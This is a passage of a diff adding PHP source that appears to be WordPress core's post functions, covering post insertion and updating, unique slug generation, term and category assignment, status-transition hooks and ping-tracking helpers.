+	 * The 'wp_insert_post_parent' filter expects all variables to be present.
+	 * Previously, these variables would have already been extracted
+	 */
+	if ( isset( $postarr['menu_order'] ) ) {
+		$menu_order = (int) $postarr['menu_order'];
+	} else {
+		$menu_order = 0;
+	}
+
+	$post_password = isset( $postarr['post_password'] ) ? $postarr['post_password'] : '';
+	if ( 'private' == $post_status ) {
+		$post_password = '';
+	}
+
+	if ( isset( $postarr['post_parent'] ) ) {
+		$post_parent = (int) $postarr['post_parent'];
+	} else {
+		$post_parent = 0;
+	}
+
+	$new_postarr = array_merge(
+		array(
+			'ID' => $post_ID,
+		),
+		compact( array_diff( array_keys( $defaults ), array( 'context', 'filter' ) ) )
+	);
+
+	/**
+	 * Filters the post parent -- used to check for and prevent hierarchy loops.
+	 *
+	 * @since 3.1.0
+	 *
+	 * @param int   $post_parent Post parent ID.
+	 * @param int   $post_ID     Post ID.
+	 * @param array $new_postarr Array of parsed post data.
+	 * @param array $postarr     Array of sanitized, but otherwise unmodified post data.
+	 */
+	$post_parent = apply_filters( 'wp_insert_post_parent', $post_parent, $post_ID, $new_postarr, $postarr );
+
+	/*
+	 * If the post is being untrashed and it has a desired slug stored in post meta,
+	 * reassign it.
+	 */
+	if ( 'trash' === $previous_status && 'trash' !== $post_status ) {
+		$desired_post_slug = get_post_meta( $post_ID, '_wp_desired_post_slug', true );
+		if ( $desired_post_slug ) {
+			delete_post_meta( $post_ID, '_wp_desired_post_slug' );
+			$post_name = $desired_post_slug;
+		}
+	}
+
+	// If a trashed post has the desired slug, change it and let this post have it.
+	if ( 'trash' !== $post_status && $post_name ) {
+		wp_add_trashed_suffix_to_post_name_for_trashed_posts( $post_name, $post_ID );
+	}
+
+	// When trashing an existing post, change its slug to allow non-trashed posts to use it.
+	if ( 'trash' === $post_status && 'trash' !== $previous_status && 'new' !== $previous_status ) {
+		$post_name = wp_add_trashed_suffix_to_post_name_for_post( $post_ID );
+	}
+
+	$post_name = wp_unique_post_slug( $post_name, $post_ID, $post_status, $post_type, $post_parent );
+
+	// Don't unslash.
+	$post_mime_type = isset( $postarr['post_mime_type'] ) ? $postarr['post_mime_type'] : '';
+
+	// Expected_slashed (everything!).
+	$data = compact( 'post_author', 'post_date', 'post_date_gmt', 'post_content', 'post_content_filtered', 'post_title', 'post_excerpt', 'post_status', 'post_type', 'comment_status', 'ping_status', 'post_password', 'post_name', 'to_ping', 'pinged', 'post_modified', 'post_modified_gmt', 'post_parent', 'menu_order', 'post_mime_type', 'guid' );
+
+	$emoji_fields = array( 'post_title', 'post_content', 'post_excerpt' );
+
+	foreach ( $emoji_fields as $emoji_field ) {
+		if ( isset( $data[ $emoji_field ] ) ) {
+			$charset = $wpdb->get_col_charset( $wpdb->posts, $emoji_field );
+			if ( 'utf8' === $charset ) {
+				$data[ $emoji_field ] = wp_encode_emoji( $data[ $emoji_field ] );
+			}
+		}
+	}
+
+	if ( 'attachment' === $post_type ) {
+		/**
+		 * Filters attachment post data before it is updated in or added to the database.
+		 *
+		 * @since 3.9.0
+		 * @since 5.4.1 `$unsanitized_postarr` argument added.
+		 *
+		 * @param array $data                An array of slashed, sanitized, and processed attachment post data.
+		 * @param array $postarr             An array of slashed and sanitized attachment post data, but not processed.
+		 * @param array $unsanitized_postarr An array of slashed yet *unsanitized* and unprocessed attachment post data
+		 *                                   as originally passed to wp_insert_post().
+		 */
+		$data = apply_filters( 'wp_insert_attachment_data', $data, $postarr, $unsanitized_postarr );
+	} else {
+		/**
+		 * Filters slashed post data just before it is inserted into the database.
+		 *
+		 * @since 2.7.0
+		 * @since 5.4.1 `$unsanitized_postarr` argument added.
+		 *
+		 * @param array $data                An array of slashed, sanitized, and processed post data.
+		 * @param array $postarr             An array of sanitized (and slashed) but otherwise unmodified post data.
+		 * @param array $unsanitized_postarr An array of slashed yet *unsanitized* and unprocessed post data as
+		 *                                   originally passed to wp_insert_post().
+		 */
+		$data = apply_filters( 'wp_insert_post_data', $data, $postarr, $unsanitized_postarr );
+	}
+	$data = wp_unslash( $data );
+	$where = array( 'ID' => $post_ID );
+
+	if ( $update ) {
+		/**
+		 * Fires immediately before an existing post is updated in the database.
+		 *
+		 * @since 2.5.0
+		 *
+		 * @param int   $post_ID Post ID.
+		 * @param array $data    Array of unslashed post data.
+		 */
+		do_action( 'pre_post_update', $post_ID, $data );
+		if ( false === $wpdb->update( $wpdb->posts, $data, $where ) ) {
+			if ( $wp_error ) {
+				return new WP_Error('db_update_error', __('Could not update post in the database'), $wpdb->last_error);
+			} else {
+				return 0;
+			}
+		}
+	} else {
+		// If there is a suggested ID, use it if not already present.
+		if ( ! empty( $import_id ) ) {
+			$import_id = (int) $import_id;
+			if ( ! $wpdb->get_var( $wpdb->prepare("SELECT ID FROM $wpdb->posts WHERE ID = %d", $import_id) ) ) {
+				$data['ID'] = $import_id;
+			}
+		}
+		if ( false === $wpdb->insert( $wpdb->posts, $data ) ) {
+			if ( $wp_error ) {
+				return new WP_Error('db_insert_error', __('Could not insert post into the database'), $wpdb->last_error);
+			} else {
+				return 0;
+			}
+		}
+		$post_ID = (int) $wpdb->insert_id;
+
+		// Use the newly generated $post_ID.
+		$where = array( 'ID' => $post_ID );
+	}
+
+	if ( empty( $data['post_name'] ) && ! in_array( $data['post_status'], array( 'draft', 'pending', 'auto-draft' ) ) ) {
+		$data['post_name'] = wp_unique_post_slug( sanitize_title( $data['post_title'], $post_ID ), $post_ID, $data['post_status'], $post_type, $post_parent );
+		$wpdb->update( $wpdb->posts, array( 'post_name' => $data['post_name'] ), $where );
+		clean_post_cache( $post_ID );
+	}
+
+	if ( is_object_in_taxonomy( $post_type, 'category' ) ) {
+		wp_set_post_categories( $post_ID, $post_category );
+	}
+
+	if ( isset( $postarr['tags_input'] ) && is_object_in_taxonomy( $post_type, 'post_tag' ) ) {
+		wp_set_post_tags( $post_ID, $postarr['tags_input'] );
+	}
+
+	// New-style support for all custom taxonomies.
+	if ( ! empty( $postarr['tax_input'] ) ) {
+		foreach ( $postarr['tax_input'] as $taxonomy => $tags ) {
+			$taxonomy_obj = get_taxonomy($taxonomy);
+			if ( ! $taxonomy_obj ) {
+				/* translators: %s: taxonomy name */
+				_doing_it_wrong( __FUNCTION__, sprintf( __( 'Invalid taxonomy: %s.' ), $taxonomy ), '4.4.0' );
+				continue;
+			}
+
+			// array = hierarchical, string = non-hierarchical.
+			if ( is_array( $tags ) ) {
+				$tags = array_filter($tags);
+			}
+			if ( current_user_can( $taxonomy_obj->cap->assign_terms ) ) {
+				wp_set_post_terms( $post_ID, $tags, $taxonomy );
+			}
+		}
+	}
+
+	if ( ! empty( $postarr['meta_input'] ) ) {
+		foreach ( $postarr['meta_input'] as $field => $value ) {
+			update_post_meta( $post_ID, $field, $value );
+		}
+	}
+
+	$current_guid = get_post_field( 'guid', $post_ID );
+
+	// Set GUID.
+	if ( ! $update && '' == $current_guid ) {
+		$wpdb->update( $wpdb->posts, array( 'guid' => get_permalink( $post_ID ) ), $where );
+	}
+
+	if ( 'attachment' === $postarr['post_type'] ) {
+		if ( ! empty( $postarr['file'] ) ) {
+			update_attached_file( $post_ID, $postarr['file'] );
+		}
+
+		if ( ! empty( $postarr['context'] ) ) {
+			add_post_meta( $post_ID, '_wp_attachment_context', $postarr['context'], true );
+		}
+	}
+
+	// Set or remove featured image.
+	if ( isset( $postarr['_thumbnail_id'] ) ) {
+		$thumbnail_support = current_theme_supports( 'post-thumbnails', $post_type ) && post_type_supports( $post_type, 'thumbnail' ) || 'revision' === $post_type;
+		if ( ! $thumbnail_support && 'attachment' === $post_type && $post_mime_type ) {
+			if ( wp_attachment_is( 'audio', $post_ID ) ) {
+				$thumbnail_support = post_type_supports( 'attachment:audio', 'thumbnail' ) || current_theme_supports( 'post-thumbnails', 'attachment:audio' );
+			} elseif ( wp_attachment_is( 'video', $post_ID ) ) {
+				$thumbnail_support = post_type_supports( 'attachment:video', 'thumbnail' ) || current_theme_supports( 'post-thumbnails', 'attachment:video' );
+			}
+		}
+
+		if ( $thumbnail_support ) {
+			$thumbnail_id = intval( $postarr['_thumbnail_id'] );
+			if ( -1 === $thumbnail_id ) {
+				delete_post_thumbnail( $post_ID );
+			} else {
+				set_post_thumbnail( $post_ID, $thumbnail_id );
+			}
+		}
+	}
+
+	clean_post_cache( $post_ID );
+
+	$post = get_post( $post_ID );
+
+	if ( ! empty( $postarr['page_template'] ) ) {
+		$post->page_template = $postarr['page_template'];
+		$page_templates = wp_get_theme()->get_page_templates( $post );
+		if ( 'default' != $postarr['page_template'] && ! isset( $page_templates[ $postarr['page_template'] ] ) ) {
+			if ( $wp_error ) {
+				return new WP_Error( 'invalid_page_template', __( 'Invalid page template.' ) );
+			}
+			update_post_meta( $post_ID, '_wp_page_template', 'default' );
+		} else {
+			update_post_meta( $post_ID, '_wp_page_template', $postarr['page_template'] );
+		}
+	}
+
+	if ( 'attachment' !== $postarr['post_type'] ) {
+		wp_transition_post_status( $data['post_status'], $previous_status, $post );
+	} else {
+		if ( $update ) {
+			/**
+			 * Fires once an existing attachment has been updated.
+			 *
+			 * @since 2.0.0
+			 *
+			 * @param int $post_ID Attachment ID.
+			 */
+			do_action( 'edit_attachment', $post_ID );
+			$post_after = get_post( $post_ID );
+
+			/**
+			 * Fires once an existing attachment has been updated.
+			 *
+			 * @since 4.4.0
+			 *
+			 * @param int     $post_ID      Post ID.
+			 * @param WP_Post $post_after   Post object following the update.
+			 * @param WP_Post $post_before  Post object before the update.
+			 */
+			do_action( 'attachment_updated', $post_ID, $post_after, $post_before );
+		} else {
+
+			/**
+			 * Fires once an attachment has been added.
+			 *
+			 * @since 2.0.0
+			 *
+			 * @param int $post_ID Attachment ID.
+			 */
+			do_action( 'add_attachment', $post_ID );
+		}
+
+		return $post_ID;
+	}
+
+	if ( $update ) {
+		/**
+		 * Fires once an existing post has been updated.
+		 *
+		 * @since 1.2.0
+		 *
+		 * @param int     $post_ID Post ID.
+		 * @param WP_Post $post    Post object.
+		 */
+		do_action( 'edit_post', $post_ID, $post );
+		$post_after = get_post($post_ID);
+
+		/**
+		 * Fires once an existing post has been updated.
+		 *
+		 * @since 3.0.0
+		 *
+		 * @param int     $post_ID      Post ID.
+		 * @param WP_Post $post_after   Post object following the update.
+		 * @param WP_Post $post_before  Post object before the update.
+		 */
+		do_action( 'post_updated', $post_ID, $post_after, $post_before);
+	}
+
+	/**
+	 * Fires once a post has been saved.
+	 *
+	 * The dynamic portion of the hook name, `$post->post_type`, refers to
+	 * the post type slug.
+	 *
+	 * @since 3.7.0
+	 *
+	 * @param int     $post_ID Post ID.
+	 * @param WP_Post $post    Post object.
+	 * @param bool    $update  Whether this is an existing post being updated or not.
+	 */
+	do_action( "save_post_{$post->post_type}", $post_ID, $post, $update );
+
+	/**
+	 * Fires once a post has been saved.
+	 *
+	 * @since 1.5.0
+	 *
+	 * @param int     $post_ID Post ID.
+	 * @param WP_Post $post    Post object.
+	 * @param bool    $update  Whether this is an existing post being updated or not.
+	 */
+	do_action( 'save_post', $post_ID, $post, $update );
+
+	/**
+	 * Fires once a post has been saved.
+	 *
+	 * @since 2.0.0
+	 *
+	 * @param int     $post_ID Post ID.
+	 * @param WP_Post $post    Post object.
+	 * @param bool    $update  Whether this is an existing post being updated or not.
+	 */
+	do_action( 'wp_insert_post', $post_ID, $post, $update );
+
+	return $post_ID;
+}
+
+/**
+ * Update a post with new post data.
+ *
+ * The date does not have to be set for drafts. You can set the date and it will
+ * not be overridden.
+ *
+ * @since 1.0.0
+ *
+ * @param array|object $postarr  Optional. Post data. Arrays are expected to be escaped,
+ *                               objects are not. Default array.
+ * @param bool         $wp_error Optional. Allow return of WP_Error on failure. Default false.
+ * @return int|WP_Error The value 0 or WP_Error on failure. The post ID on success.
+ */
+function wp_update_post( $postarr = array(), $wp_error = false ) {
+	if ( is_object($postarr) ) {
+		// Non-escaped post was passed.
+		$postarr = get_object_vars($postarr);
+		$postarr = wp_slash($postarr);
+	}
+
+	// First, get all of the original fields.
+	$post = get_post($postarr['ID'], ARRAY_A);
+
+	if ( is_null( $post ) ) {
+		if ( $wp_error )
+			return new WP_Error( 'invalid_post', __( 'Invalid post ID.' ) );
+		return 0;
+	}
+
+	// Escape data pulled from DB.
+	$post = wp_slash($post);
+
+	// Passed post category list overwrites existing category list if not empty.
+	if ( isset($postarr['post_category']) && is_array($postarr['post_category'])
+			 && 0 != count($postarr['post_category']) )
+		$post_cats = $postarr['post_category'];
+	else
+		$post_cats = $post['post_category'];
+
+	// Drafts shouldn't be assigned a date unless explicitly done so by the user.
+	if ( isset( $post['post_status'] ) && in_array($post['post_status'], array('draft', 'pending', 'auto-draft')) && empty($postarr['edit_date']) &&
+			 ('0000-00-00 00:00:00' == $post['post_date_gmt']) )
+		$clear_date = true;
+	else
+		$clear_date = false;
+
+	// Merge old and new fields with new fields overwriting old ones.
+	$postarr = array_merge($post, $postarr);
+	$postarr['post_category'] = $post_cats;
+	if ( $clear_date ) {
+		$postarr['post_date'] = current_time('mysql');
+		$postarr['post_date_gmt'] = '';
+	}
+
+	if ($postarr['post_type'] == 'attachment')
+		return wp_insert_attachment($postarr);
+
+	return wp_insert_post( $postarr, $wp_error );
+}
+
+/**
+ * Publish a post by transitioning the post status.
+ *
+ * @since 2.1.0
+ *
+ * @global wpdb $wpdb WordPress database abstraction object.
+ *
+ * @param int|WP_Post $post Post ID or post object.
+ */
+function wp_publish_post( $post ) {
+	global $wpdb;
+
+	if ( ! $post = get_post( $post ) )
+		return;
+
+	if ( 'publish' == $post->post_status )
+		return;
+
+	$wpdb->update( $wpdb->posts, array( 'post_status' => 'publish' ), array( 'ID' => $post->ID ) );
+
+	clean_post_cache( $post->ID );
+
+	$old_status = $post->post_status;
+	$post->post_status = 'publish';
+	wp_transition_post_status( 'publish', $old_status, $post );
+
+	/** This action is documented in wp-includes/post.php */
+	do_action( 'edit_post', $post->ID, $post );
+
+	/** This action is documented in wp-includes/post.php */
+	do_action( "save_post_{$post->post_type}", $post->ID, $post, true );
+
+	/** This action is documented in wp-includes/post.php */
+	do_action( 'save_post', $post->ID, $post, true );
+
+	/** This action is documented in wp-includes/post.php */
+	do_action( 'wp_insert_post', $post->ID, $post, true );
+}
+
+/**
+ * Publish future post and make sure post ID has future post status.
+ *
+ * Invoked by cron 'publish_future_post' event. This safeguard prevents cron
+ * from publishing drafts, etc.
+ *
+ * @since 2.5.0
+ *
+ * @param int|WP_Post $post_id Post ID or post object.
+ */
+function check_and_publish_future_post( $post_id ) {
+	$post = get_post($post_id);
+
+	if ( empty($post) )
+		return;
+
+	if ( 'future' != $post->post_status )
+		return;
+
+	$time = strtotime( $post->post_date_gmt . ' GMT' );
+
+	// Uh oh, someone jumped the gun!
+	if ( $time > time() ) {
+		wp_clear_scheduled_hook( 'publish_future_post', array( $post_id ) ); // clear anything else in the system
+		wp_schedule_single_event( $time, 'publish_future_post', array( $post_id ) );
+		return;
+	}
+
+	// wp_publish_post() returns no meaningful value.
+	wp_publish_post( $post_id );
+}
+
+/**
+ * Computes a unique slug for the post, when given the desired slug and some post details.
+ *
+ * @since 2.8.0
+ *
+ * @global wpdb       $wpdb WordPress database abstraction object.
+ * @global WP_Rewrite $wp_rewrite
+ *
+ * @param string $slug        The desired slug (post_name).
+ * @param int    $post_ID     Post ID.
+ * @param string $post_status No uniqueness checks are made if the post is still draft or pending.
+ * @param string $post_type   Post type.
+ * @param int    $post_parent Post parent ID.
+ * @return string Unique slug for the post, based on $post_name (with a -1, -2, etc. suffix)
+ */
+function wp_unique_post_slug( $slug, $post_ID, $post_status, $post_type, $post_parent ) {
+	if ( in_array( $post_status, array( 'draft', 'pending', 'auto-draft' ) ) || ( 'inherit' == $post_status && 'revision' == $post_type ) || 'user_request' === $post_type )
+		return $slug;
+
+	global $wpdb, $wp_rewrite;
+
+	$original_slug = $slug;
+
+	$feeds = $wp_rewrite->feeds;
+	if ( ! is_array( $feeds ) )
+		$feeds = array();
+
+	if ( 'attachment' == $post_type ) {
+		// Attachment slugs must be unique across all types.
+		$check_sql = "SELECT post_name FROM $wpdb->posts WHERE post_name = %s AND ID != %d LIMIT 1";
+		$post_name_check = $wpdb->get_var( $wpdb->prepare( $check_sql, $slug, $post_ID ) );
+
+		/**
+		 * Filters whether the post slug would make a bad attachment slug.
+		 *
+		 * @since 3.1.0
+		 *
+		 * @param bool   $bad_slug Whether the slug would be bad as an attachment slug.
+		 * @param string $slug     The post slug.
+		 */
+		if ( $post_name_check || in_array( $slug, $feeds ) || 'embed' === $slug || apply_filters( 'wp_unique_post_slug_is_bad_attachment_slug', false, $slug ) ) {
+			$suffix = 2;
+			do {
+				$alt_post_name = _truncate_post_slug( $slug, 200 - ( strlen( $suffix ) + 1 ) ) . "-$suffix";
+				$post_name_check = $wpdb->get_var( $wpdb->prepare( $check_sql, $alt_post_name, $post_ID ) );
+				$suffix++;
+			} while ( $post_name_check );
+			$slug = $alt_post_name;
+		}
+	} elseif ( is_post_type_hierarchical( $post_type ) ) {
+		if ( 'nav_menu_item' == $post_type )
+			return $slug;
+
+		/*
+		 * Page slugs must be unique within their own trees. Pages are in a separate
+		 * namespace than posts so page slugs are allowed to overlap post slugs.
+		 */
+		$check_sql = "SELECT post_name FROM $wpdb->posts WHERE post_name = %s AND post_type IN ( %s, 'attachment' ) AND ID != %d AND post_parent = %d LIMIT 1";
+		$post_name_check = $wpdb->get_var( $wpdb->prepare( $check_sql, $slug, $post_type, $post_ID, $post_parent ) );
+
+		/**
+		 * Filters whether the post slug would make a bad hierarchical post slug.
+		 *
+		 * @since 3.1.0
+		 *
+		 * @param bool   $bad_slug    Whether the post slug would be bad in a hierarchical post context.
+		 * @param string $slug        The post slug.
+		 * @param string $post_type   Post type.
+		 * @param int    $post_parent Post parent ID.
+		 */
+		if ( $post_name_check || in_array( $slug, $feeds ) || 'embed' === $slug || preg_match( "@^($wp_rewrite->pagination_base)?\d+$@", $slug )  || apply_filters( 'wp_unique_post_slug_is_bad_hierarchical_slug', false, $slug, $post_type, $post_parent ) ) {
+			$suffix = 2;
+			do {
+				$alt_post_name = _truncate_post_slug( $slug, 200 - ( strlen( $suffix ) + 1 ) ) . "-$suffix";
+				$post_name_check = $wpdb->get_var( $wpdb->prepare( $check_sql, $alt_post_name, $post_type, $post_ID, $post_parent ) );
+				$suffix++;
+			} while ( $post_name_check );
+			$slug = $alt_post_name;
+		}
+	} else {
+		// Post slugs must be unique across all posts.
+		$check_sql = "SELECT post_name FROM $wpdb->posts WHERE post_name = %s AND post_type = %s AND ID != %d LIMIT 1";
+		$post_name_check = $wpdb->get_var( $wpdb->prepare( $check_sql, $slug, $post_type, $post_ID ) );
+
+		// Prevent new post slugs that could result in URLs that conflict with date archives.
+		$post = get_post( $post_ID );
+		$conflicts_with_date_archive = false;
+		if ( 'post' === $post_type && ( ! $post || $post->post_name !== $slug ) && preg_match( '/^[0-9]+$/', $slug ) && $slug_num = intval( $slug ) ) {
+			$permastructs   = array_values( array_filter( explode( '/', get_option( 'permalink_structure' ) ) ) );
+			$postname_index = array_search( '%postname%', $permastructs );
+
+			/*
+			 * Potential date clashes are as follows:
+			 *
+			 * - Any integer in the first permastruct position could be a year.
+			 * - An integer between 1 and 12 that follows 'year' conflicts with 'monthnum'.
+			 * - An integer between 1 and 31 that follows 'monthnum' conflicts with 'day'.
+			 */
+			if ( 0 === $postname_index ||
+				( $postname_index && '%year%' === $permastructs[ $postname_index - 1 ] && 13 > $slug_num ) ||
+				( $postname_index && '%monthnum%' === $permastructs[ $postname_index - 1 ] && 32 > $slug_num )
+			) {
+				$conflicts_with_date_archive = true;
+			}
+		}
+
+		/**
+		 * Filters whether the post slug would be bad as a flat slug.
+		 *
+		 * @since 3.1.0
+		 *
+		 * @param bool   $bad_slug  Whether the post slug would be bad as a flat slug.
+		 * @param string $slug      The post slug.
+		 * @param string $post_type Post type.
+		 */
+		if ( $post_name_check || in_array( $slug, $feeds ) || 'embed' === $slug || $conflicts_with_date_archive || apply_filters( 'wp_unique_post_slug_is_bad_flat_slug', false, $slug, $post_type ) ) {
+			$suffix = 2;
+			do {
+				$alt_post_name = _truncate_post_slug( $slug, 200 - ( strlen( $suffix ) + 1 ) ) . "-$suffix";
+				$post_name_check = $wpdb->get_var( $wpdb->prepare( $check_sql, $alt_post_name, $post_type, $post_ID ) );
+				$suffix++;
+			} while ( $post_name_check );
+			$slug = $alt_post_name;
+		}
+	}
+
+	/**
+	 * Filters the unique post slug.
+	 *
+	 * @since 3.3.0
+	 *
+	 * @param string $slug          The post slug.
+	 * @param int    $post_ID       Post ID.
+	 * @param string $post_status   The post status.
+	 * @param string $post_type     Post type.
+	 * @param int    $post_parent   Post parent ID
+	 * @param string $original_slug The original post slug.
+	 */
+	return apply_filters( 'wp_unique_post_slug', $slug, $post_ID, $post_status, $post_type, $post_parent, $original_slug );
+}
+
+/**
+ * Truncate a post slug.
+ *
+ * @since 3.6.0
+ * @access private
+ *
+ * @see utf8_uri_encode()
+ *
+ * @param string $slug   The slug to truncate.
+ * @param int    $length Optional. Max length of the slug. Default 200 (characters).
+ * @return string The truncated slug.
+ */
+function _truncate_post_slug( $slug, $length = 200 ) {
+	if ( strlen( $slug ) > $length ) {
+		$decoded_slug = urldecode( $slug );
+		if ( $decoded_slug === $slug )
+			$slug = substr( $slug, 0, $length );
+		else
+			$slug = utf8_uri_encode( $decoded_slug, $length, true );
+	}
+
+	return rtrim( $slug, '-' );
+}
+
+/**
+ * Add tags to a post.
+ *
+ * @see wp_set_post_tags()
+ *
+ * @since 2.3.0
+ *
+ * @param int          $post_id Optional. The Post ID. Does not default to the ID of the global $post.
+ * @param string|array $tags    Optional. An array of tags to set for the post, or a string of tags
+ *                              separated by commas. Default empty.
+ * @return array|false|WP_Error Array of affected term IDs. WP_Error or false on failure.
+ */
+function wp_add_post_tags( $post_id = 0, $tags = '' ) {
+	return wp_set_post_tags($post_id, $tags, true);
+}
+
+/**
+ * Set the tags for a post.
+ *
+ * @since 2.3.0
+ *
+ * @see wp_set_object_terms()
+ *
+ * @param int          $post_id Optional. The Post ID. Does not default to the ID of the global $post.
+ * @param string|array $tags    Optional. An array of tags to set for the post, or a string of tags
+ *                              separated by commas. Default empty.
+ * @param bool         $append  Optional. If true, don't delete existing tags, just add on. If false,
+ *                              replace the tags with the new tags. Default false.
+ * @return array|false|WP_Error Array of term taxonomy IDs of affected terms. WP_Error or false on failure.
+ */
+function wp_set_post_tags( $post_id = 0, $tags = '', $append = false ) {
+	return wp_set_post_terms( $post_id, $tags, 'post_tag', $append);
+}
+
+/**
+ * Set the terms for a post.
+ *
+ * @since 2.8.0
+ *
+ * @see wp_set_object_terms()
+ *
+ * @param int          $post_id  Optional. The Post ID. Does not default to the ID of the global $post.
+ * @param string|array $tags     Optional. An array of terms to set for the post, or a string of terms
+ *                               separated by commas. Default empty.
+ * @param string       $taxonomy Optional. Taxonomy name. Default 'post_tag'.
+ * @param bool         $append   Optional. If true, don't delete existing terms, just add on. If false,
+ *                               replace the terms with the new terms. Default false.
+ * @return array|false|WP_Error Array of term taxonomy IDs of affected terms. WP_Error or false on failure.
+ */
+function wp_set_post_terms( $post_id = 0, $tags = '', $taxonomy = 'post_tag', $append = false ) {
+	$post_id = (int) $post_id;
+
+	if ( !$post_id )
+		return false;
+
+	if ( empty($tags) )
+		$tags = array();
+
+	if ( ! is_array( $tags ) ) {
+		$comma = _x( ',', 'tag delimiter' );
+		if ( ',' !== $comma )
+			$tags = str_replace( $comma, ',', $tags );
+		$tags = explode( ',', trim( $tags, " \n\t\r\0\x0B," ) );
+	}
+
+	/*
+	 * Hierarchical taxonomies must always pass IDs rather than names so that
+	 * children with the same names but different parents aren't confused.
+	 */
+	if ( is_taxonomy_hierarchical( $taxonomy ) ) {
+		$tags = array_unique( array_map( 'intval', $tags ) );
+	}
+
+	return wp_set_object_terms( $post_id, $tags, $taxonomy, $append );
+}
+
+/**
+ * Set categories for a post.
+ *
+ * If the post categories parameter is not set, then the default category is
+ * going used.
+ *
+ * @since 2.1.0
+ *
+ * @param int       $post_ID         Optional. The Post ID. Does not default to the ID
+ *                                   of the global $post. Default 0.
+ * @param array|int $post_categories Optional. List of categories or ID of category.
+ *                                   Default empty array.
+ * @param bool      $append         If true, don't delete existing categories, just add on.
+ *                                  If false, replace the categories with the new categories.
+ * @return array|false|WP_Error Array of term taxonomy IDs of affected categories. WP_Error or false on failure.
+ */
+function wp_set_post_categories( $post_ID = 0, $post_categories = array(), $append = false ) {
+	$post_ID = (int) $post_ID;
+	$post_type = get_post_type( $post_ID );
+	$post_status = get_post_status( $post_ID );
+	// If $post_categories isn't already an array, make it one:
+	$post_categories = (array) $post_categories;
+	if ( empty( $post_categories ) ) {
+		if ( 'post' == $post_type && 'auto-draft' != $post_status ) {
+			$post_categories = array( get_option('default_category') );
+			$append = false;
+		} else {
+			$post_categories = array();
+		}
+	} elseif ( 1 == count( $post_categories ) && '' == reset( $post_categories ) ) {
+		return true;
+	}
+
+	return wp_set_post_terms( $post_ID, $post_categories, 'category', $append );
+}
+
+/**
+ * Fires actions related to the transitioning of a post's status.
+ *
+ * When a post is saved, the post status is "transitioned" from one status to another,
+ * though this does not always mean the status has actually changed before and after
+ * the save. This function fires a number of action hooks related to that transition:
+ * the generic {@see 'transition_post_status'} action, as well as the dynamic hooks
+ * {@see '$old_status_to_$new_status'} and {@see '$new_status_$post->post_type'}. Note
+ * that the function does not transition the post object in the database.
+ *
+ * For instance: When publishing a post for the first time, the post status may transition
+ * from 'draft' – or some other status – to 'publish'. However, if a post is already
+ * published and is simply being updated, the "old" and "new" statuses may both be 'publish'
+ * before and after the transition.
+ *
+ * @since 2.3.0
+ *
+ * @param string  $new_status Transition to this post status.
+ * @param string  $old_status Previous post status.
+ * @param WP_Post $post Post data.
+ */
+function wp_transition_post_status( $new_status, $old_status, $post ) {
+	/**
+	 * Fires when a post is transitioned from one status to another.
+	 *
+	 * @since 2.3.0
+	 *
+	 * @param string  $new_status New post status.
+	 * @param string  $old_status Old post status.
+	 * @param WP_Post $post       Post object.
+	 */
+	do_action( 'transition_post_status', $new_status, $old_status, $post );
+
+	/**
+	 * Fires when a post is transitioned from one status to another.
+	 *
+	 * The dynamic portions of the hook name, `$new_status` and `$old status`,
+	 * refer to the old and new post statuses, respectively.
+	 *
+	 * @since 2.3.0
+	 *
+	 * @param WP_Post $post Post object.
+	 */
+	do_action( "{$old_status}_to_{$new_status}", $post );
+
+	/**
+	 * Fires when a post is transitioned from one status to another.
+	 *
+	 * The dynamic portions of the hook name, `$new_status` and `$post->post_type`,
+	 * refer to the new post status and post type, respectively.
+	 *
+	 * Please note: When this action is hooked using a particular post status (like
+	 * 'publish', as `publish_{$post->post_type}`), it will fire both when a post is
+	 * first transitioned to that status from something else, as well as upon
+	 * subsequent post updates (old and new status are both the same).
+	 *
+	 * Therefore, if you are looking to only fire a callback when a post is first
+	 * transitioned to a status, use the {@see 'transition_post_status'} hook instead.
+	 *
+	 * @since 2.3.0
+	 *
+	 * @param int     $post_id Post ID.
+	 * @param WP_Post $post    Post object.
+	 */
+	do_action( "{$new_status}_{$post->post_type}", $post->ID, $post );
+}
+
+//
+// Comment, trackback, and pingback functions.
+//
+
+/**
+ * Add a URL to those already pinged.
+ *
+ * @since 1.5.0
+ * @since 4.7.0 $post_id can be a WP_Post object.
+ * @since 4.7.0 $uri can be an array of URIs.
+ *
+ * @global wpdb $wpdb WordPress database abstraction object.
+ *
+ * @param int|WP_Post  $post_id Post object or ID.
+ * @param string|array $uri     Ping URI or array of URIs.
+ * @return int|false How many rows were updated.
+ */
+function add_ping( $post_id, $uri ) {
+	global $wpdb;
+
+	$post = get_post( $post_id );
+	if ( ! $post ) {
+		return false;
+	}
+
+	$pung = trim( $post->pinged );
+	$pung = preg_split( '/\s/', $pung );
+
+	if ( is_array( $uri ) ) {
+		$pung = array_merge( $pung, $uri );
+	}
+	else {
+		$pung[] = $uri;
+	}
+	$new = implode("\n", $pung);
+
+	/**
+	 * Filters the new ping URL to add for the given post.
+	 *
+	 * @since 2.0.0
+	 *
+	 * @param string $new New ping URL to add.
+	 */
+	$new = apply_filters( 'add_ping', $new );
+
+	$return = $wpdb->update( $wpdb->posts, array( 'pinged' => $new ), array( 'ID' => $post->ID ) );
+	clean_post_cache( $post->ID );
+	return $return;
+}
+
+/**
+ * Retrieve enclosures already enclosed for a post.
+ *
+ * @since 1.5.0
+ *
+ * @param int $post_id Post ID.
+ * @return array List of enclosures.
+ */
+function get_enclosed( $post_id ) {
+	$custom_fields = get_post_custom( $post_id );
+	$pung = array();
+	if ( !is_array( $custom_fields ) )
+		return $pung;
+
+	foreach ( $custom_fields as $key => $val ) {
+		if ( 'enclosure' != $key || !is_array( $val ) )
+			continue;
+		foreach ( $val as $enc ) {
+			$enclosure = explode( "\n", $enc );
+			$pung[] = trim( $enclosure[ 0 ] );
+		}
+	}
+
+	/**
+	 * Filters the list of enclosures already enclosed for the given post.
+	 *
+	 * @since 2.0.0
+	 *
+	 * @param array $pung    Array of enclosures for the given post.
+	 * @param int   $post_id Post ID.
+	 */
+	return apply_filters( 'get_enclosed', $pung, $post_id );
+}
+
+/**
+ * Retrieve URLs already pinged for a post.
+ *
+ * @since 1.5.0
+ *
+ * @since 4.7.0 $post_id can be a WP_Post object.
+ *
+ * @param int|WP_Post $post_id Post ID or object.
+ * @return array
+ */
+function get_pung( $post_id ) {
+	$post = get_post( $post_id );
+	if ( ! $post ) {
+		return false;
+	}
+
+	$pung = trim( $post->pinged );
+	$pung = preg_split( '/\s/', $pung );
+
+	/**
+	 * Filters the list of already-pinged URLs for the given post.
+	 *
+	 * @since 2.0.0
+	 *
+	 * @param array $pung Array of URLs already pinged for the given post.
